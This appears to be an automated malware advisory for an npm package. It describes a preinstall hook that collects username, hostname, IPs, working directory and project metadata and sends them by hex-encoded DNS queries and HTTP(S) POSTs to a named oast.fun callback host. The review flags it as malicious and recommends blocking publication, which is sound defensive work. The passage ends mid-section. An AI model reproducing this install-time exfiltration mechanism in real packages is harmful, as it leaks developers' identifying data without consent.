The behavior occurs without an explicit user command. - **Trigger:** npm installation, via the \`preinstall\` lifecycle hook - **Impact:** Discloses host, network, user, directory, and consuming-project identifying metadata to a third party. - **Evidence paths:** package.json, index.js - **Review source:** ai\_review - **Reviewed:** 2026-08-23T10:57:43.190Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** install-time host and project metadata exfiltration over DNS and HTTP(S) - **Attack narrative:** On dependency installation, npm runs \`index.js\`. It reads the consuming project's manifest, collects host and network identifiers plus username, home directory, CWD, and project metadata, then sends the serialized record to a fixed callback. It uses hex-encoded DNS labels as well as HTTP and HTTPS POST requests, providing multiple exfiltration routes. - **Rationale:** The source implements automatic preinstall-time collection and external transmission of identifying host and project data. Its stated research intent does not remove the concrete unconsented exfiltration behavior. - **Files touched:** package.json, index.js, INIT\_CWD/package.json - **Network endpoints:** da51rv0hb2uc72tg4gvgdepinjcallbk1.oast.fun, https://api.ipify.org, https://icanhazip.com, https://ifconfig.me/ip, o-o.myaddr.l.google.com ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** \`preinstall\` automatically executes \`index.js\`., Collects username, home directory, hostname, local IP, CWD, and consuming-project metadata., Reads the consuming project's \`package.json\` via \`INIT\_CWD\`., Encodes the collected JSON as hex and transmits it in DNS queries., Also POSTs the full collected JSON to a fixed callback host over HTTP and HTTPS. - **Evidence against:** No child-process execution, payload download, persistence, or destructive write is present., The README describes the activity as dependency-confusion research, but the unsolicited install-time collection and exfiltration are concrete. ## Public findings ### 1.
